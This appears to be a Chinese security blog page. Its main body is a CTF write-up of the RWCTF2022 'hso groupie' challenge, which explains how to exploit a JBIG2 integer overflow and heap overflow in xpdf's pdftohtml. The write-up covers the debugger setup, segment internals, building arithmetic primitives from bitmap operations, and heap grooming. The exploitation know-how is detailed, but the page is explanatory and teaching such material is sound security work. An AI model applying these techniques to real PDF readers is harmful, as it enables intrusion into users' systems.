Defcon-30-Quals rust-pwn constricted 复盘笔记

一、简介

这里将记录着本人复盘 Defcon 30 Quals 中 constricted 的复盘笔记。

这道题为 boa 项目提供了一个 git diff,要求在应用这个 diff 后对 boa 进行漏洞利用。boa 是一个使用 rust 编写的 javascript 引擎,要想 pwn 掉它就得编写 JS 的漏洞利用脚本。

当初做这题时自己还没接触过 rust,这次 学成归来后 可以好好看看这题。

这题的意图是想说明,即便是用 rust 编写的程序也仍然会存在漏洞

阅读更多...

浅析 Linux 程序的 Canary 机制

一、简介

一直都比较好奇 Canary 在 Linux 中的实现,但没什么心思去具体了解它的实现。这种好奇心在得知可以通过修改子线程的线程局部存储来达到篡改 canary 目的时达到了高峰,于是想好好去研究一下。

太久没写博客了,这里就简单记录一下。

阅读更多...

syzkaller 源码阅读笔记-1

一、简介

syzkaller 是 google 开源的一款无监督覆盖率引导的 kernel fuzzer,支持包括 Linux、Windows 等操作系统的测试。

syzkaller 有很多个部件。其中:

  • syz-extract:用于解析 syzlang 中的常量
  • syz-sysgen:用于解析 syzlang,提取其中描述的 syscall 和参数类型,以及参数依赖关系
  • syz-manager:用于启动与管理 syzkaller
  • syz-fuzzer:实际在 VM 中运行的 fuzzer
  • syz-executor:实际在 VM 中运行的测试程序

架构图如下:

syzkaller 的进程结构

在本文中,我将先介绍 syz-extract 和 syz-sysgen 的源码。

阅读更多...

论文笔记随笔 - 1

简介

这里存放阅读论文/读代码时所记录下的一些零碎笔记。

由于这部分活动在记录笔记时,出于时间与重要性考虑,只会记录下较为重要的一部分,不会完整记录,因此单篇笔记的篇幅不会太长。

原先是想着把这些随笔放到周报里去,但是这会打乱周报的排版,思来想去还是想单独立一篇文章出来。

阅读更多...

《Binary Rewriting without Control Flow Recovery》论文笔记

一、概述

二进制重写技术在很多场景下都有大用,例如修复、加固、插桩、打补丁、调试等等。而大部分二进制重写技术都依赖于从输入二进制中恢复控制流信息,这是因为这些二进制重写技术通常都涉及指令移动等等,这就必须调整其他跳转指令的相对跳转偏移,即修复跳转目标集

但问题在于,从二进制文件中恢复控制流信息是相当困难的

  • 一种方法是依赖于特定的二进制元数据,例如调试符号来恢复重定位信息,但并非所有二进制都会包含这类元数据(strip)
  • 另一种方法是使用静态二进制分析技术来恢复,但通常效果不佳,而且不能应用于大小较大的二进制文件。

因此大部分二进制重写技术都依赖于一组甚至多组假设,例如特定编译器、特定编程语言等等。这样一来这些二进制重写技术都存在着局限性,难以扩展,同时也没办法处理大型程序,比如 chrome。

这篇论文向我们展示了一种基于 x86_64 的二进制重写技术,称为 e9patch。其中,e9 表示的是 jmpq rel32 的 opcode:0xe9。这种二进制重写技术的优点在于控制流无关control flow agnostic),即无需任何控制流信息的知识。其二进制重写方法保留了跳转目标集,无需控制流恢复。因此, 这个工具相当的鲁棒,而且还可以 patch 诸如 chrome 等等大小大于 100MB 的二进制程序。

除了普通的二进制程序以外,e9patch 还可以为 shared objects 或 libraries 打补丁。

阅读更多...

RWCTF2022 Pwn 笔记3 - hso groupie Writeup

简介

这里是复盘 RWCTF2022 中 hso groupie 题时所写下的一些笔记,考点来源于 Project Zero 的 A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution 一文。

整体的做题思路主要由 Riatre 师傅的 exploit 中所推导出,换句话说,这里的笔记主要是对 作者 exploit 的解释说明。

由于这题同样也较为复杂,因此需要单独开一个博文来记录。

联合作者:sakura

一、小叙

1
2
3
4
5
6
7
8
Help check how secure our latest PaaS (Pdftohtml-as-a-Service) is!
Pick your favorite bug from this bloody list, or really, just exploit that bug so your exploit would also work on latest Poppler [1] and maybe even KItinerary.
The container image is also available on Docker Hub.
[1] Yeah, turns out propagating bug fixes between different Clone-and-Own codebases takes time :)
socat -t90 stdio tcp-connect:47.242.147.191:31337
attachment

Clone-and-Pwn, difficulty:hard

这题是 clone-and-pwn,源码没有做任何改变,就是通过查看最近提交的漏洞修复记录来发掘并利用漏洞。

二、环境搭建

1. 本地环境搭建

这一题是在 debian 下编译的,因此对于 debian 系统来说,有些系统可以直接跑 exp(例如我的 XD)。

1
2
3
4
5
6
7
8
9
10
wget https://dl.xpdfreader.com/xpdf-4.03.tar.gz
tar -zxvf xpdf-4.03.tar.gz
cd xpdf-4.03
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_CXX_FLAGS="-D_FORTIFY_SOURCE=2 -fstack-protector-strong -Wl,-z,now -Wl,-z,relro -g3 -ggdb3 -O0" ..
make -j `nproc`

# 题目还给了一个 `GNU C Library (Debian GLIBC 2.33-2) release` 的 glibc 附件
patchelf --replace-needed libc.so.6 ${PWD}/../../libc.so.6 ./xpdf/pdftohtml

启动方式:

1
xpdf/pdftohtml <pdf-path> --

2. exploit 调试环境搭建

题目环境 这里下载 dockerfile 等题目环境,之后给 dockerfile 打 patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
--- a/Dockerfile
+++ b/Dockerfile
@@ -8,7 +8,7 @@ RUN cd /tmp/xpdf-4.03 && \
mkdir build && \
cd build && \
cmake -DCMAKE_BUILD_TYPE=Release \
- -DCMAKE_CXX_FLAGS="-D_FORTIFY_SOURCE=2 -fstack-protector-strong -Wl,-z,now -Wl,-z,relro" .. && \
+ -DCMAKE_CXX_FLAGS="-D_FORTIFY_SOURCE=2 -fstack-protector-strong -Wl,-z,now -Wl,-z,relro -g3 -ggdb3 -O0 " .. && \
make -j$(nproc)

FROM debian:unstable-20211220-slim
@@ -20,6 +20,7 @@ RUN echo "deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/2
apt-get install -y fonts-arkpandora fonts-noto fonts-dejavu fonts-font-awesome fonts-lato fonts-powerline gsfonts && \
apt-get clean && rm -rf /var/lib/apt/lists/*
COPY --from=build /tmp/xpdf-4.03/build/xpdf/pdftohtml /usr/local/bin/
+COPY gdbserver /usr/bin/gdbserver
RUN mkdir -p /run/secrets && echo 'rwctf{flag placeholder}' > /run/secrets/flag

-ENTRYPOINT [ "/bin/sh", "-c", "/usr/local/bin/pdftohtml \"$@\"", "--" ]
\ No newline at end of file
+ENTRYPOINT [ "/bin/sh"]
\ No newline at end of file

修改目的主要是把 gdbserver 放进镜像里,以及让入口点停在 /bin/sh,而不直接启动 pdftohtml。

这里要注意 COPY 命令的源路径,这里是直接使用相对路径。

执行 build.sh,执行完成后可以检查一下镜像

1
2
3
➜  chall git:(master) docker image ls         
REPOSITORY TAG IMAGE ID CREATED SIZE
hsogroupie/pdftohtml latest 042e72a0f133 45 minutes ago 946MB

启动 docker 镜像

1
docker run -itd -p 1234:1234 -v sakura_volume:/tmp/chall --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name hsogroupie hsogroupie/pdftohtml

该命令非常长,解构如下:

1
2
3
4
5
6
7
8
9
docker run --help

-i : 进入交互模式
-t : 分配一个伪shell
-d : 在后台以守护模式运行容器
-p : 宿主机端口:容器端口,将容器端口映射到宿主机端口,这里都指定1234就好了
-v : 挂载数据卷
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined : Docker默认禁用PTRACE功能,需要指定这个命令
--name : 给容器声明一个名字

这里挂载数据卷需要额外说明(参考这篇文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
docker volume create sakura_volume // 创建一个自定义容器卷
docker volume ls // 查看所有容器卷
docker volume inspect sakura_volume // 查看指定容器卷详情信息
...
[
{
"CreatedAt": "2022-02-02T01:29:55+08:00",
"Driver": "local",
"Labels": {},
"Mountpoint": "/var/lib/docker/volumes/sakura_volume/_data",
"Name": "sakura_volume",
"Options": {},
"Scope": "local"
}
]

然后我们对 /var/lib/docker/volumes/sakura_volume/_data 的修改就会映射到容器的 /tmp/chall 里,传输文件就比较方便。

启动完了之后我们可以 docker ps 一下看看有没有问题

1
2
3
➜  chall git:(master) docker ps -a                     
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
15f265c337c0 hsogroupie/pdftohtml "/bin/sh" 34 minutes ago Up 34 minutes 0.0.0.0:1234->1234/tcp, :::1234->1234/tcp hsogroupie

生成 exp pdf,注意要对 submodule 初始化,不然没有 jbig2enc 库

1
2
3
4
5
git clone https://github.com/Riatre/hso-groupie.git
cd hso-groupie/exploit
git submodule update --init
cd ..
sudo cp -r exploit /var/lib/docker/volumes/sakura_volume/_data

然后我们进入 docker 容器里对应数据卷的 exploit 目录下,应该要 install 这些安装包,要是少了就自己补一下:

1
2
3
4
5
6
7
8
9
apt-get update
apt-get install make g++ python3 pybind11-dev python3-dev python2 python2-dev
make
...
...
root@15f265c337c0:/tmp/chall/exploit# make
g++ -O3 -std=c++20 -shared -fPIC jbig2arith.cc jbig2arith.h jbjbarith.cc jbjbarith.h -ojbjbarith.cpython-39-x86_64-linux-gnu.so -I/usr/include/python3.9 -I/usr/include/python3.9
python3 sploit.py
python2 pdf.py sploit > sploit.pdf

调试 exp

1
docker exec -it 15f265c337c0 bash

进入容器的 bash 环境,然后启动 gdbserver

1
rm -rf output && /usr/bin/gdbserver :1234 /usr/local/bin/pdftohtml /tmp/chall/exploit/sploit.pdf output

这里的 output 是随便给一个文件夹名就行了,这是 pdftohtml 必须的启动参数,它会创建这个文件夹,并输出一个结果到这个文件夹里,并且它不能是已经存在的文件夹,而 sploit.pdf 就是我们生成出来的 exp pdf 文件。

然后在宿主机也启动 gdb,然后 target remote:1234,然后随便下个断点看看效果,注意因为 docker 里的源码路径和我宿主机的源码路径并不一致,所以要用 substitute-path 做个转换,建议写个 gdb 脚本完成这个事情,后面就不用一直自己敲了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
target remote :1234
set substitute-path /tmp/xpdf-4.03/xpdf /home/sakura/ctf/hso-groupie/chall/xpdf-4.03/xpdf
b findSegment
c
...
...
► 0x555555675179 mov r8, qword ptr [rax]
0x55555567517c cmp dword ptr [r8 + 8], esi
0x555555675180 jne 0x555555675170 <0x555555675170>

0x555555675170 add rax, 8
0x555555675174 cmp rax, rdx
0x555555675177 je 0x555555675190 <0x555555675190>
───────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────
In file: /home/sakura/ctf/hso-groupie/chall/xpdf-4.03/xpdf/JBIG2Stream.cc
4036 JBIG2Segment *JBIG2Stream::findSegment(Guint segNum) {
4037 JBIG2Segment *seg;
4038 int i;
4039
4040 for (i = 0; i < globalSegments->getLength(); ++i) {
► 4041 seg = (JBIG2Segment *)globalSegments->get(i);
4042 if (seg->getSegNum() == segNum) {
4043 return seg;
4044 }
4045 }
4046 for (i = 0; i < segments->getLength(); ++i) {
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd28 —▸ 0x555555676c72 ◂— mov r12, rax
01:0008│ 0x7fffffffdd30 ◂— 0x0
02:0010│ 0x7fffffffdd38 ◂— 0x0
03:0018│ 0x7fffffffdd40 —▸ 0x555561ec0f00 ◂— 0x200000001
04:0020│ 0x7fffffffdd48 —▸ 0x555561f40c64 ◂— 0x203a100000000
05:0028│ 0x7fffffffdd50 ◂— 0x0
... ↓ 2 skipped
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
► f 0 0x555555675179
f 1 0x555555676c72
f 2 0x555555679198 JBIG2Stream::readSegments()+1032
f 3 0x555555679473 JBIG2Stream::reset()+211
f 4 0x55555560139a
f 5 0x5555556494a9
f 6 0x55555564aba0
f 7 0x55555563c9e5

现在我们就完成了整个调试环境的搭建。

三、漏洞点

这题预期的解法是使用这篇 google project zero 的 iMessage exploit 中的漏洞。漏洞点位于 JBIG2Stream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length,
Guint *refSegs, Guint nRefSegs) {
...
Guint numSyms;
...
// get symbol dictionaries and tables
codeTables = new GList();
// 1. 初始时为 0
numSyms = 0;
for (i = 0; i < nRefSegs; ++i) {
if ((seg = findSegment(refSegs[i]))) {
if (seg->getType() == jbig2SegSymbolDict) {
// 2. 该变量与一个用户可控的值相加,会造成整数溢出
numSyms += ((JBIG2SymbolDict *)seg)->getSize();
} else if (seg->getType() == jbig2SegCodeTable) {
codeTables->append(seg);
}
} else {
...
}
}
...
// get the symbol bitmaps
// 3. 整数溢出后,这里分配了一个较小的堆内存(指针数组)
syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *));
kk = 0;
for (i = 0; i < nRefSegs; ++i) {
if ((seg = findSegment(refSegs[i]))) {
if (seg->getType() == jbig2SegSymbolDict) {
symbolDict = (JBIG2SymbolDict *)seg;
// 4. 将各个指针写入该堆内存,触发堆溢出
for (k = 0; k < symbolDict->getSize(); ++k) {
syms[kk++] = symbolDict->getBitmap(k);
}
}
}
}
...
}

由于恶意构造的 refSegs 中,一些 seg->getSize() 值很大(4GB),因此如果全部写进则肯定会触发 crash。所以在实际的漏洞利用中,会尝试先做做堆风水:

img

看图,exploit 需要将 segments GList 的后备存储,放置在刚刚创建的溢出堆块高地址处。这样触发堆溢出时,就能在执行前几个正常 size 的写入操作时,将后备存储中的那个超大 size 所对应的 segment 指针,替换成非 JBIG2SymbolDict 类型的 segment 指针(即 JBIG2Bitmap 类型)。之后当程序检索这个 segment 指针时,就会跳过该指针的检索。

四、漏洞利用前置知识

1. JBIG2Decode

漏洞点位于 JBIG2Stream ,而 JBIG2Stream 又怎么存在于 pdf 中呢?

pdf 文件结构本质上是一个树状图,这里给出一个使用 JBIG2Stream 的 pdf 片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
4 0 obj
<< /Filter /FlateDecode
/Length 3988
>>
stream
/* [MyStream1] */
endstream
endobj

5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 1024
/ColorSpace /DeviceGray
/Height 1
/Filter /JBIG2Decode
/Subtype /Image
/Length 418248
/Type /XObject
/BitsPerComponent 1
>>
stream
/* [MyStream2] */
endstream
endobj

pdf 文件中,4 0 obj5 0 obj 都是表示一个特定的 pdf object。

其中,4 0 obj 标识了下面中的 MyStream1,其参数 /Filter /FlateDecode 表示该流是使用 zlib 压缩。

继续往下看可以看到: 5 0 obj 中,/DecodeParms 引用了 4 0 obj 中的 stream 流,即 MyStream1;同时参数 /Filter /JBIG2Decode 指定了接下来的流 MyStream2 使用的解码方式是 JBIG2Decode

因此从上文可以得知,MyStream2 使用 JBIG2Decode 进行解码,其解码参数为上面引用的这个 4 0 obj,即 MyStream1 使用 FlateDecode 所解码后的流,而该参数的键为 JBIG2Globals

而我们要做的,就是精心构建 MyStream1MyStream2(这两个流都是 JBIG2Stream),使其在解析这两个 Stream 时能触发漏洞,从而 get shell。

构建好这两个流后,可以使用 jbig2enc/pdf.py 来创建出 pdf。

2. Segments 小叙

注,这一节中,每个 segment 所对应的代码最好亲自阅读一下。

当 xpdf 对 JBIG2Stream 解码时,正如上节中所示,JBIG2Decode 需要一个参数 JBIG2Globals。因此在解析时,会先解析 JBIG2Globals 的 stream,之后再解析下面的 main stream。以下代码说明了 stream 的解析过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void JBIG2Stream::reset()
{
GList *t;

segments = new GList();
globalSegments = new GList();

// read the globals stream
if (globalsStream.isStream())
{
// 解析以 DecodeParms 传来的 global stream 流,即 FlateDecode(MyStream1)
curStr = globalsStream.getStream();
curStr->reset();
// 解析时需要使用到解码器,这里是对解码器进行初始化
arithDecoder->setStream(curStr);
huffDecoder->setStream(curStr);
mmrDecoder->setStream(curStr);
// 开始读取 segments
readSegments();
curStr->close();
// swap the newly read segments list into globalSegments
t = segments;
segments = globalSegments;
globalSegments = t;
}

// read the main stream
// 解析 main stream, 即 MySteram2
curStr = str;
curStr->reset();
// 同样对解码器进行初始化
arithDecoder->setStream(curStr);
huffDecoder->setStream(curStr);
mmrDecoder->setStream(curStr);
readSegments();

if (pageBitmap)
{
dataPtr = pageBitmap->getDataPtr();
dataEnd = dataPtr + pageBitmap->getDataSize();
}
else
{
dataPtr = dataEnd = NULL;
}
}

这里我们可以了解到,JBIG2Stream 是由多个 Segment 组成的,Segment 种类较多。这里我们只关注几个有用到的 Segment。

a. EOFSeg

该 Segment 的解析标志了完成了全部 segment 的读取,没有其他用途。

b. SymbolDictSeg

SymbolDict 主要存放了一个指向 Bitmap 的指针数组。Bitmap 可以用于存放数据,在实际漏洞利用中将起到类似内存的作用。

对于每个 symbol dict 中的 Bitmap,规范中将其称为一个 instance

解析 SymbolDictSeg 时,将会从 stream 中读取并创建出每一个 Bitmap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
GBool JBIG2Stream::readSymbolDictSeg(Guint segNum, Guint length,
Guint *refSegs, Guint nRefSegs)
{
[...]
// 创建 bitmaps 数组
// get the input symbol bitmaps
bitmaps = (JBIG2Bitmap **)gmallocn(numInputSyms + numNewSyms,
sizeof(JBIG2Bitmap *));
for (i = 0; i < numInputSyms + numNewSyms; ++i)
{
bitmaps[i] = NULL;
}
k = 0;
inputSymbolDict = NULL;
for (i = 0; i < nRefSegs; ++i)
{
if ((seg = findSegment(refSegs[i])))
{
if (seg->getType() == jbig2SegSymbolDict)
{
inputSymbolDict = (JBIG2SymbolDict *)seg;
for (j = 0; j < inputSymbolDict->getSize(); ++j)
{
bitmaps[k++] = inputSymbolDict->getBitmap(j);
}
}
}
}
[...]
// 开始尝试从外部 JBIG2Stream 流中读取 bitmap
symHeight = 0;
i = 0;
while (i < numNewSyms)
{
// read the height class delta height
if (huff) [...]
else
{
arithDecoder->decodeInt(&dh, iadhStats);
}
[...]
symHeight += dh;
symWidth = 0;
totalWidth = 0;
j = i;

[...]

// read the symbols in this height class
while (1)
{
// read the delta width
if (huff) [...]
else
{
if (!arithDecoder->decodeInt(&dw, iadwStats))
{
break;
}
}
[...]

// using a collective bitmap, so don't read a bitmap here
if (huff && !refAgg) [...]
else if (refAgg) [...]
else
{
// 从外部流中读取 bitmap 并将其保存进数组中
bitmaps[numInputSyms + i] =
readGenericBitmap(gFalse, symWidth, symHeight,
sdTemplate, gFalse, gFalse, NULL,
sdATX, sdATY, 0);
}

++i;
}

// read the collective bitmap
if (huff && !refAgg) [...]
}
// 创建了一个 symbolDict 结构体
// create the symbol dict object
symbolDict = new JBIG2SymbolDict(segNum, numExSyms);

// 将上面创建的 bitmaps 数组复制进 symbolDict 结构体中
// exported symbol list
i = j = 0;
ex = gFalse;
prevRun = 1;
while (i < numInputSyms + numNewSyms)
{
if (huff)
[...]
else
{
arithDecoder->decodeInt(&run, iaexStats);
}
[...]
if (ex)
{
for (cnt = 0; cnt < run; ++cnt)
{
// 将上面创建的 bitmaps 对等深拷贝进 symbolDict 中
symbolDict->setBitmap(j++, bitmaps[i++]->copy());
}
}
else
{
i += run;
}
ex = !ex;
prevRun = run;
}
[...] // 释放 bitmaps 数组
// store the new symbol dict
segments->append(symbolDict);
[...]
}

c. PageInfoSeg

对于每个 Page 来说,需要有一个 Bitmap 来表示当前页面渲染的数据。而在解析 PageInfoSeg 时,程序会创建一个流内全局 Bitmap:pageBitmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void JBIG2Stream::readPageInfoSeg(Guint length)
{
Guint xRes, yRes, flags, striping;

if (!readULong(&pageW) || !readULong(&pageH) ||
!readULong(&xRes) || !readULong(&yRes) ||
!readUByte(&flags) || !readUWord(&striping))
{
goto eofError;
}
[...]
// 创建流内全局字段 pageBitmap
pageBitmap = new JBIG2Bitmap(0, pageW, curPageH);

// default pixel value
[...]

return;

eofError:
error(errSyntaxError, getPos(), "Unexpected EOF in JBIG2 stream");
}

需要注意的是,pageBitmap 很关键,它表示了一个 Page 的 bitmap。我们将使用堆溢出来覆写 pageBitmap 的 Width 和 Height,进而达到越界读写的目的。

同时 PageInfoSeg 还可用于绕过一个 sanity check,下文中会提到。

d. GenericRegionSeg

GenericRegionSeg 的解析将会从流中读取一个 Bitmap,并与当前的 pageBitmap 的特定区域进行运算

需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 GenericRegionSeg 不能存放在 JBIG2Globals 流中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length)
{
[...]
// read the bitmap
bitmap = readGenericBitmap(mmr, w, h, templ, tpgdOn, gFalse,
NULL, atx, aty, mmr ? length - 18 : 0);

// combine the region bitmap into the page bitmap
if (imm)
{
if (pageH == 0xffffffff && y + h > curPageH)
{
pageBitmap->expand(y + h, pageDefPixel);
}
pageBitmap->combine(bitmap, x, y, extCombOp);
delete bitmap;

// store the region bitmap
}
[...]
}

其中,从流中读取 Bitmap 的操作位于 readGenericBitmap 函数中,读取的操作需要使用到编码器

而与 pageBitmap 的运算主要是使用 JBIG2Bitmap::combine 方法,该方法中有五种运算方式,分别是 与、或、异或和替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
switch (combOp)
{
case 0: // or
dest |= src1 & m2;
break;
case 1: // and
dest &= src1 | m1;
break;
case 2: // xor
dest ^= src1 & m2;
break;
case 3: // xnor
dest ^= (src1 ^ 0xff) & m2;
break;
case 4: // replace
dest = (src1 & m2) | (dest & m1);
break;
}

我们可以将外部的立即数,通过利用该段的解析过程,将其传入 pageBitmap 中等待进一步的运算。

e. GenericRefinementRegionSeg

GenericRefinementRegionSeg 的解析过程,组合起来可以对 pageBitmap 上的部分数据进行位运算。我们可以利用这里的位运算来构建加法器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void JBIG2Stream::readGenericRefinementRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length,
Guint *refSegs,
Guint nRefSegs)
{
[...]
if (nRefSegs == 1)
{
if (!(seg = findSegment(refSegs[0])) ||
seg->getType() != jbig2SegBitmap)
{
error(errSyntaxError, getPos(),
"Bad bitmap reference in JBIG2 generic refinement segment");
return;
}
refBitmap = (JBIG2Bitmap *)seg;
}
else
{
refBitmap = pageBitmap->getSlice(x, y, w, h);
}
[...]
// read
bitmap = readGenericRefinementRegion(w, h, templ, tpgrOn,
refBitmap, 0, 0, atx, aty);

// combine the region bitmap into the page bitmap
if (imm)
{
pageBitmap->combine(bitmap, x, y, extCombOp);
delete bitmap;

// store the region bitmap
}
else
{
bitmap->setSegNum(segNum);
segments->append(bitmap);
}
[...]
}
  1. 当 GenericRefinementRegionSeg 不引用任何段时,变量 nRefSegs 为 0,此时 refBitmap 为 pageBitmap 上指定 x、y、w、h 属性的一块数据空间

    由于函数 readGenericRefinementRegion 只会受到 refBitmap 的影响,因此我们可以认定传出的bitmap 变量等价于 pageBitmap 上特定区域的数据。

    接下来,若我们指定 imm 为 false,那么这块等价于 pageBitmap 上特定区域的数据,将被存储进 segments 数组中。

  2. 若下一次解析 GenericRefinementRegionSeg 时引用了第一步创建的段,那么此时 refBitmap 为第一步创建的 Bitmap。这样当 imm 为 true 时,第一步创建的 Bitmap 将会和 pageBitmap 上指定的位置进行 combine 操作,即位运算。

  3. 由于第一步创建的 bitmap 是和 pageBitmap 相关,因此整个过程就等价于

    • 从 pageBitmap 上特定位置1取下一块数据,并保存至 segments 上
    • 从 segments 上取下这块数据,并将其与 pageBitmap 上特定位置2进行位运算。
    1
    2
    3
    4
    5
    6
    7
    8
    +----------------------> x-axis
    |
    | .(2)
    |
    | .(1)
    |
    V
    y-axis

如此,便达到了让 pageBitmap 上指定两个位置的数据进行位运算的操作。我们将使用该操作来一步步构建位运算原语、乃至加法器。

f. TextRegionSeg

TextRegionSeg 可以引用指定的 SymbolDictSeg,并对其中的任意 instance 进行操作。

需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 TextRegionSeg 不能存放在 JBIG2Globals 流中。

整体流程大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length,
Guint *refSegs, Guint nRefSegs)
{
[...]
// get the symbol bitmaps
// 从所引用的每个段上,将每个 instance 拷贝到 syms 数组中
syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *));
kk = 0;
for (i = 0; i < nRefSegs; ++i)
{
if ((seg = findSegment(refSegs[i])))
{
if (seg->getType() == jbig2SegSymbolDict)
{
symbolDict = (JBIG2SymbolDict *)seg;
for (k = 0; k < symbolDict->getSize(); ++k)
{
syms[kk++] = symbolDict->getBitmap(k);
}
}
}
}
[...]
// 执行 readTextRegion 函数,将指定的 syms 与新创建出来的 bitmap 进行 combine 操作
bitmap = readTextRegion(huff, refine, w, h, numInstances,
logStrips, numSyms, symCodeTab, symCodeLen, syms,
defPixel, combOp, transposed, refCorner, sOffset,
huffFSTable, huffDSTable, huffDTTable,
huffRDWTable, huffRDHTable,
huffRDXTable, huffRDYTable, huffRSizeTable,
templ, atx, aty);

gfree(syms);

// combine the region bitmap into the page bitmap
// 将当前 bitmap 与 pageBitmap 进行 combine 操作,传递所引用的 instance 上的值至 pageBitmap 上
if (imm)
{
if (pageH == 0xffffffff && y + h > curPageH)
{
pageBitmap->expand(y + h, pageDefPixel);
}
pageBitmap->combine(bitmap, x, y, extCombOp);
delete bitmap;

// store the region bitmap
}
else
{
bitmap->setSegNum(segNum);
segments->append(bitmap);
}
[...]
}

3. JBIG2Encode

a. encode Bitmap

通过阅读上面关于 Segments 的源代码,我们可以很容易的得知:在诸如 readGenericBitmap 等读入 bitmap 的函数中,hso 会尝试从外部 JBIG2Stream 流中,使用某种解码器来对读入的 bitmap 进行解码(例如代码中多次出现 arithDecoder->decodeInt 等调用)。

因此,作为提供外部 JBIG2Stream 流的我们,需要对写入至 pdf 中的 bitmap 做对应的编码操作。

从最上面的 JBIG2Stream::reset 函数中可以得知,一共由三种解码器:

  • JArithmeticDecoder
  • JBIG2HuffmanDecoder
  • JBIG2MMRDecoder

而这些解码器的内部算法,如果要让我们徒手撸一个的话 ,那么做题效率就会非常低。因此,我们可以使用 jbig2enc来帮助我们完成数据编码操作,该库已经实现了 JArithmeticDecoder 状态机的编码算法,故我们无需了解内部细节即可完成对 bitmap 的编码过程。

1
git clone git@github.com:agl/jbig2enc.git

但是,该库是使用 C++ 编写的,若 exploit 也全部使用 C++ 完成,则工作量较高。因此,我们可以使用 pybind11 来暴露 jbig2enc 中的部分接口给 python,这样编写 exploit 时可以使用 python 语言来完成。

1
sudo apt-get install pybind11-dev

最后需要注意的是,由于 jbig2enc 的接口会使用到大量的指针,而将指针暴露给 python 接口调用是一个非常不明智的选择(因为如果让 python 来调用需要指针的接口,则会降低开发速度和提高触发 bug 的几率),因此我们最好根据当前的需求,即:

将 bitmap 数据以 JArithmeticDecoder 方式来进行编码

来额外编写一个 wrapper C++ 代码,实现三个封装好的结构体/枚举:

  • ArithEncoder:调用 jbig2enc 对 bitmap 进行编码的类
  • Bitmap:待被编码的 bitmap 数据
  • ArithEncoder::ProcArithEncoder 编码器的状态枚举

最后将这三个结构体/枚举 暴露给 python 调用,避免让 python 直接操作指针。

这一小节所实现的代码,正对应于 exp 中的以下几个文件:

  • hso-groupie/exploit/jbig2arith.[cc,h]
  • hso-groupie/exploit/jbjbarith.[cc,h]

b. encode segments

hso 在 read segments 时,首先会读取出每个当前 segment 的 段号 segNum、segFlags、refFlags 等一系列字段和标志,之后才是进行(可能的) bitmap 读取。

这些字段和标志同样是需要我们手动放进 JBIG2Stream 中。由于这里的字段和标志不需要使用解码器进行解码,因此可以手动编写代码将字段一个个放置进流中。

这一步的操作位于 exp 中的 hso-groupie/exploit/jbig2.py ,该脚本为所有用到的 segment 都编写了一个对应的 python 结构转 JBIG2Stream 字节流的操作;同时,上一节中暴露给 python 所调用的 bitmap encoder 接口,也是在该脚本中所使用。

这样,当我们使用 python 设计好一个个特定的 segments 后,我们便可以将这些 segments 快速转换成 JBIG2Stream 流数据,方便快捷。

五、漏洞利用流程

1. 堆风水

a. 创建堆空洞

先放上这张镇楼图:

img

为了利用这个堆溢出漏洞,我们需要充分发动堆风水,将指定的结构放至对应的堆块。这里,我们的堆风水需要完成以下几个目标:

  • 让 pdf 在解析 TextRegionSeg 时,其创建的 syms 指针数组位于 undersized syms buffer

  • 让内含存放超多指针的 JBIG2SymbolDict 结构体的 segment 放置在 segments GList backing buffer

    这里,我们打算让 JBIG2SymbolDict 结构体存放至 global segment 中,因为 SymbolDictSegment 不依赖与任何的 Segments,但是后续的 TextRegionSegment 会依赖这些 SymbolDictSegment。

  • 让 pageBitmap 结构体占据图中 JBIG2Bitmap 那块内存,并让其 data 占据图中上面 bitmap backing buffer 那块内存。

